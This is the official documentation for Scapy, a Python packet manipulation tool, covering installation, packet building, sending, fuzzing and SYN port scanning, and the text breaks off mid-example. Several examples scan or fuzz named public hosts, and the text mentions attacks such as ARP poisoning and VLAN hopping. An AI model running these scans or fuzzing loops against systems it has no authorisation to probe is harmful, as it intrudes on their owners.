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Introduction

Section author: Philippe Biondi <phil at secdev.org>


About Scapy

Scapy is a Python program that enables the user to send, sniff, dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.

In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark.

[image: _images/testing-taxonomy.png]
Scapy also performs very well on a lot of other specific tasks that most other tools can’t handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, …), etc.

The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to open, closed, or filtered, but is the whole packet.

On top of this can be built more high level functions. For example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.



What makes Scapy so special

First, with most other networking tools, you won’t build something the author didn’t imagine. These tools have been built for a specific goal and can’t deviate much from it. For example, an ARP cache poisoning program won’t let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said padding, not payload, see?). In fact, each time you have a new need, you have to build a new tool.

Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved for human beings. Some programs try to mimic this behavior. For instance they say “this port is open” instead of “I received a SYN-ACK”. Sometimes they are right. Sometimes not. It’s easier for beginners, but when you know what you’re doing, you keep on trying to deduce what really happened from the program’s interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using tcpdump -xX to decode and interpret what the tool missed.

Third, even programs which only decode do not give you all the information they received. The vision of the network they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding?

Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking an 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don’t know. Scapy has a flexible model that tries to avoid such arbitrary limits. You’re free to put any value you want in any field you want and stack them like you want. You’re an adult after all.

In fact, it’s like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy.

After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times. Ask for a traceroute and look at the padding, for instance.


Fast packet design

Other tools stick to the program-that-you-run-from-a-shell paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool’s author. As an example, only the IP address must be given to a port scanner to trigger the port scanning scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan.

Scapy’s paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don’t need to learn yet another language, and they benefit from a complete, concise, and very powerful language.

Scapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line, with another line to print the result. 90% of network probing tools can be rewritten in 2 lines of Scapy.



Probe once, interpret many

Network discovery is blackbox testing. When probing a network, many stimuli are sent, while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of the response packet. A new probe need not be initiated to adjust the viewpoint of the data.

[image: _images/scapy-concept.png]


Scapy decodes, it does not interpret

A common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like Received a TCP Reset on port 80 is not subject to interpretation errors. Reporting Port 80 is closed is an interpretation that may be right most of the time but wrong in some specific contexts the tool’s author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases, it means the packet was not filtered by the firewall, but rather there was no host to forward the packet to.

Interpreting results can help users that don’t know what a port scan is, but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that knowledgeable users will try to reverse engineer the tool’s interpretation to derive the facts that triggered that interpretation, so that they can do the interpretation themselves. Unfortunately, much information is lost in this operation.




Quick demo

First, we play a bit and create four IP packets at once. Let’s see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:

# ./run_scapy -s mysession
New session [mysession]
Welcome to Scapy (2.4.0)
>>> IP()
<IP |>
>>> target="www.target.com/30"
>>> ip=IP(dst=target)
>>> ip
<IP dst=<Net www.target.com/30> |>
>>> [p for p in ip]
[<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>,
 <IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>]
>>> ^D





# ./run_scapy -s mysession
Using session [mysession]
Welcome to Scapy (2.4.0)
>>> ip
<IP dst=<Net www.target.com/30> |>





Now, let’s manipulate some packets:

>>> IP()
<IP |>
>>> a=IP(dst="172.16.1.40")
>>> a
<IP dst=172.16.1.40 |>
>>> a.dst
'172.16.1.40'
>>> a.ttl
64





Let’s say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload:

>>> Ether(dst="ff:ff:ff:ff:ff:ff")
      /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9))
      /UDP()





We have 18 packets defined in 1 line (1 implicit packet)


Sensible default values

Scapy tries to use sensible default values for all packet fields. If not overridden,


	IP source is chosen according to destination and routing table


	Checksum is computed


	Source MAC is chosen according to the output interface


	Ethernet type and IP protocol are determined by the upper layer




[image: _images/default-values-ip.png]
Other fields’ default values are chosen to be the most useful ones:


	TCP source port is 20, destination port is 80.


	UDP source and destination ports are 53.


	ICMP type is echo request.







Learning Python

Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.)

If you are new to Python and you really don’t understand a word because of that, or if you want to learn this language, take an hour to read the very good Python tutorial [http://docs.python.org/tutorial/]  by Guido Van Rossum. After that, you’ll know Python :) (really!). For a more in-depth tutorial Dive Into Python [http://getpython3.com/diveintopython3/index.html] is a very good start too.





            

          

      

      

    

  

    
      
          
            
  
Download and Installation


Overview



	Install Python 3.7+ [https://www.python.org/downloads/].


	Download and install Scapy.


	Follow the platform-specific instructions (dependencies).


	(Optional): Install additional software for special features.


	Run Scapy with root privileges.







Each of these steps can be done in a different way depending on your platform and on the version of Scapy you want to use.  Follow the platform-specific instructions for more detail.



Scapy versions


Note

Scapy 2.5.0 was the last version to support Python 2.7 !





	Scapy version

	2.3.3

	2.5.0

	>2.5.0





	Python 2.2-2.6

	✅

	❌

	❌



	Python 2.7

	✅

	✅

	❌



	Python 3.4-3.6

	❌

	✅

	❌



	Python 3.7-3.11

	❌

	✅

	✅








Installing Scapy v2.x

The following steps describe how to install (or update) Scapy itself.
Dependent on your platform, some additional libraries might have to be installed to make it actually work.
So please also have a look at the platform specific chapters on how to install those requirements.


Note

The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X).
For Windows, see the  special chapter below.



Make sure you have Python installed before you go on.


Latest release


Note

To get the latest versions, with bugfixes and new features, but maybe not as stable, see the development version.



Use pip:

$ pip install scapy







Current development version

If you always want the latest version of Scapy with all new the features and bugfixes (but slightly less stable), you can install Scapy from its Git repository.


Note

If you don’t want to clone Scapy, you can install the development version in one line using:

$ pip install https://github.com/secdev/scapy/archive/refs/heads/master.zip








	Check out a clone of Scapy’s repository with git [https://git-scm.com/book/en/v2/Getting-Started-Installing-Git]:

$ git clone https://github.com/secdev/scapy.git
$ cd scapy







	Install Scapy using pip [https://docs.python.org/dev/installing/index.html]:

$ pip install .







	If you used Git, you can always update to the latest version afterwards:

$ git pull
$ pip install .










Note

You can run scapy without installing it using the run_scapy (unix) or run_scapy.bat (Windows) script.






Optional Dependencies

For some special features, Scapy will need some dependencies to be installed.
Most of those software are installable via pip.
Here are the topics involved and some examples that you can use to try if your installation was successful.


	Plotting. plot() needs Matplotlib [https://matplotlib.org/].

Matplotlib is installable via pip install matplotlib

>>> p=sniff(count=50)
>>> p.plot(lambda x:len(x))







	2D graphics. psdump() and pdfdump() need PyX [http://pyx.sourceforge.net/] which in turn needs a LaTeX distribution: texlive (Unix) [http://www.tug.org/texlive/] or MikTex (Windows) [https://miktex.org/].

You can install pyx using pip install pyx

>>> p=IP()/ICMP()
>>> p.pdfdump("test.pdf")







	Graphs. conversations() needs Graphviz [http://www.graphviz.org/] and ImageMagick [http://www.imagemagick.org/].

>>> p=rdpcap("myfile.pcap")
>>> p.conversations(type="jpg", target="> test.jpg")






Note

Graphviz and ImageMagick need to be installed separately, using your platform-specific package manager.





	3D graphics. trace3D() needs VPython-Jupyter [https://github.com/vpython/vpython-jupyter/].

VPython-Jupyter is installable via pip install vpython

>>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"])
>>> a.trace3D()










	WEP decryption. unwep() needs cryptography [https://cryptography.io]. Example using a Weplap test file [http://weplab.sourceforge.net/caps/weplab-64bit-AA-managed.pcap]:

Cryptography is installable via pip install cryptography

>>> enc=rdpcap("weplab-64bit-AA-managed.pcap")
>>> enc.show()
>>> enc[0]
>>> conf.wepkey="AA\x00\x00\x00"
>>> dec=Dot11PacketList(enc).toEthernet()
>>> dec.show()
>>> dec[0]







	PKI operations and TLS decryption. cryptography [https://cryptography.io] is also needed.


	Fingerprinting. nmap_fp() needs Nmap [http://nmap.org]. You need an old version [http://nmap.org/dist-old/] (before v4.23) that still supports first generation fingerprinting.

>>> load_module("nmap")
>>> nmap_fp("192.168.0.1")
Begin emission:
Finished to send 8 packets.
Received 19 packets, got 4 answers, remaining 4 packets
(0.88749999999999996, ['Draytek Vigor 2000 ISDN router'])







	VOIP. voip_play() needs SoX [http://sox.sourceforge.net/].






Platform-specific instructions

As a general rule, you can toggle the libpcap integration on or off at any time, using:

from scapy.config import conf
conf.use_pcap = True






Linux native

Scapy can run natively on Linux, without libpcap.


	Install Python 3.7+ [http://www.python.org].


	Install libpcap [http://www.tcpdump.org]. (By default it will only be used to compile BPF filters)


	Make sure your kernel has Packet sockets selected (CONFIG_PACKET)


	If your kernel is < 2.6, make sure that Socket filtering is selected CONFIG_FILTER)






Debian/Ubuntu/Fedora

Make sure libpcap is installed:


	Debian/Ubuntu:




$ sudo apt-get install libpcap-dev






	Fedora:




$ yum install libpcap-devel





Then install Scapy via pip or apt (bundled under python3-scapy)
All dependencies may be installed either via the platform-specific installer, or via PyPI. See Optional Dependencies for more information.



Mac OS X

On Mac OS X, Scapy DOES work natively since the recent versions.
However, you may want to make Scapy use libpcap.
You can choose to install it using either Homebrew or MacPorts. They both
work fine, yet Homebrew is used to run unit tests with
Travis CI [https://travis-ci.org].


Note

Libpcap might already be installed on your platform (for instance, if you have tcpdump). This is the case of OSX [https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/pcap.3.html]




Install using Homebrew


	Update Homebrew:

$ brew update







	Install libpcap:

$ brew install libpcap









Enable it In Scapy:

conf.use_pcap = True







Install using MacPorts


	Update MacPorts:

$ sudo port -d selfupdate







	Install libpcap:

$ sudo port install libpcap









Enable it In Scapy:

conf.use_pcap = True








OpenBSD

In a similar manner, to install Scapy on OpenBSD 5.9+, you may want to install libpcap, if you do not want to use the native extension:

$ doas pkg_add libpcap





Then install Scapy via pip or pkg_add (bundled under python-scapy)
All dependencies may be installed either via the platform-specific installer, or via PyPI. See Optional Dependencies for more information.



SunOS / Solaris

Solaris / SunOS requires libpcap (installed by default) to work.


Note

In fact, Solaris doesn’t support AF_PACKET, which Scapy uses on Linux, but rather uses its own system DLPI. See this page [https://www.oracle.com/technetwork/server-storage/solaris/solaris-linux-app-139382.html].
We prefer using the very universal libpcap that spending time implementing support for DLPI.





Windows

You need to install Npcap in order to install Scapy on Windows (should also work with Winpcap, but unsupported nowadays):



	Download link: Npcap [https://nmap.org/npcap/]: the latest version [https://nmap.org/npcap/#download]


	
	During installation:
	
	we advise to turn off the Winpcap compatibility mode


	if you want to use your wifi card in monitor mode (if supported), make sure you enable the 802.11 option















Once that is done, you can continue with Scapy’s installation.

You should then be able to open a cmd.exe and just call scapy. If not, you probably haven’t enabled the “Add Python to PATH” option when installing Python. You can follow the instructions over here [https://docs.python.org/3/using/windows.html#finding-the-python-executable] to change that (or add it manually).


Screenshots

[image: _images/scapy-win-screenshot1.png]
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Build the documentation offline

The Scapy project’s documentation is written using reStructuredText (files *.rst) and can be built using
the Sphinx [http://www.sphinx-doc.org/] python library. The official online version is available
on readthedocs [http://scapy.readthedocs.io/].


HTML version

The instructions to build the HTML version are:

(activate a virtualenv)
pip install sphinx
cd doc/scapy
make html





You can now open the resulting HTML file _build/html/index.html in your favorite web browser.

To use the ReadTheDocs’ template, you will have to install the corresponding theme with:

pip install sphinx_rtd_theme







UML diagram

Using pyreverse you can build a UML representation of the Scapy source code’s object hierarchy. Here is an
example of how to build the inheritance graph for the Fields objects :

(activate a virtualenv)
pip install pylint
cd scapy/
pyreverse -o png -p fields scapy/fields.py





This will generate a classes_fields.png picture containing the inheritance hierarchy. Note that you can provide as many
modules or packages as you want, but the result will quickly get unreadable.

To see the dependencies between the DHCP layer and the ansmachine module, you can run:

pyreverse -o png -p dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py





In this case, Pyreverse will also generate a packages_dhcp_ans.png showing the link between the different python modules provided.






            

          

      

      

    

  

    
      
          
            
  
Usage


Starting Scapy

Scapy’s interactive shell is run in a terminal session. Root privileges are needed to
send the packets, so we’re using sudo here:

$ sudo scapy -H
Welcome to Scapy (2.4.0)
>>>





On Windows, please open a command prompt (cmd.exe) and make sure that you have
administrator privileges:

C:\>scapy
Welcome to Scapy (2.4.0)
>>>





If you do not have all optional packages installed, Scapy will inform you that
some features will not be available:

INFO: Can't import python matplotlib wrapper. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().





The basic features of sending and receiving packets should still work, though.



Interactive tutorial

This section will show you several of Scapy’s features with Python 2.
Just open a Scapy session as shown above and try the examples yourself.


Note

You can configure the Scapy terminal by modifying the ~/.config/scapy/prestart.py file.




First steps

Let’s build a packet and play with it:

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64







Stacking layers

The / operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.

>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>





[image: _images/fieldsmanagement.png]
Each packet can be built or dissected (note: in Python _ (underscore) is the latest result):

>>> raw(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
 chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>>  a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>>  hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0A                                               .
>>> b=raw(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
 src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>





We see that a dissected packet has all its fields filled. That’s because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:

>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>







Reading PCAP files

You can read packets from a pcap file and write them to a pcap file.

>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>







Graphical dumps (PDF, PS)

If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality…):

>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)





[image: _images/isakmp_dump.png]


	Command

	Effect





	raw(pkt)

	assemble the packet



	hexdump(pkt)

	have a hexadecimal dump



	ls(pkt)

	have the list of fields values



	pkt.summary()

	for a one-line summary



	pkt.show()

	for a developed view of the packet



	pkt.show2()

	same as show but on the assembled packet (checksum is calculated, for instance)



	pkt.sprintf()

	fills a format string with fields values of the packet



	pkt.decode_payload_as()

	changes the way the payload is decoded



	pkt.psdump()

	draws a PostScript diagram with explained dissection



	pkt.pdfdump()

	draws a PDF with explained dissection



	pkt.command()

	return a Scapy command that can generate the packet



	pkt.json()

	return a JSON string representing the packet








Generating sets of packets

For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly defines a set of packets, generated using a kind of cartesian product between all the fields.

>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP  dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]





Some operations (like building the string from a packet) can’t work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.

On the other hand, it is possible to move sets of packets into a PacketList object, which provides some operations on lists of packets.

>>> p = PacketList(a)
>>> p
<PacketList: TCP:0 UDP:0 ICMP:0 Other:4>
>>> p = PacketList([p for p in a/c])
>>> p
<PacketList: TCP:8 UDP:0 ICMP:0 Other:0>







	Command

	Effect





	summary()

	displays a list of summaries of each packet



	nsummary()

	same as previous, with the packet number



	conversations()

	displays a graph of conversations



	show()

	displays the preferred representation (usually nsummary())



	filter()

	returns a packet list filtered with a lambda function



	hexdump()

	returns a hexdump of all packets



	hexraw()

	returns a hexdump of the Raw layer of all packets



	padding()

	returns a hexdump of packets with padding



	nzpadding()

	returns a hexdump of packets with non-zero padding



	plot()

	plots a lambda function applied to the packet list



	make_table()

	displays a table according to a lambda function








Sending packets

Now that we know how to manipulate packets. Let’s see how to send them. The send() function will send packets at layer 3. That is to say, it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It’s up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Returns packets sent by send()
>>> send(IP(dst='127.0.0.1'), return_packets=True)
.
Sent 1 packets.
<PacketList: TCP:0 UDP:0 ICMP:0 Other:1>







Fuzzing

The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables quickly building fuzzing templates and sending them in a loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won’t be random so in order to do that use RandIP().:

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.







Injecting bytes

In a packet, each field has a specific type. For instance, the length field of the IP packet len expects an integer. More on that later. If you’re developing a PoC, there are times where you’ll want to inject some value that doesn’t fit that type. This is possible using RawVal

>>> pkt = IP(len=RawVal(b"NotAnInteger"), src="127.0.0.1")
>>> bytes(pkt)
b'H\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00@\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00'







Send and receive packets (sr)

Now, let’s try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only returns one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is no response, a None value will be assigned instead when the timeout is reached.

>>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
 chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
 |<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 39
id        = 15489
flags     =
frag      = 0L
ttl       = 42
proto     = ICMP
chksum    = 0x51dd
src       = 66.35.250.151
dst       = 192.168.5.21
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00'





A DNS query (rd = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
 src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
 an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
 ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>





The “send’n’receive” functions family is the heart of Scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans, unans = _
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding





If there is a limited rate of answers, you can specify a time interval (in seconds) to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, Scapy will try to resend unanswered packets 3 times. If retry is -3, Scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:

>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished to send 12 packets.
Begin emission:
Finished to send 9 packets.
Begin emission:
Finished to send 9 packets.

Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)







SYN Scans

Classic SYN Scan can be initialized by executing the following command from Scapy’s prompt:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))





The above will send a single SYN packet to Google’s port 80 and will quit after receiving a single response:

Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding  load='V\xf7' |>>>





From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.

Use either notations to scan ports 440 through 443 on the system:

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))





or

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))





In order to quickly review responses simply request a summary of collected packets:

>>> ans, unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding





The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:

>>> ans.summary( lambda s,r: r.sprintf("%TCP.sport% \t %TCP.flags%") )
440      RA
441      RA
442      RA
https    SA





Even better, a table can be built using the make_table() function to display information about multiple targets:

>>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
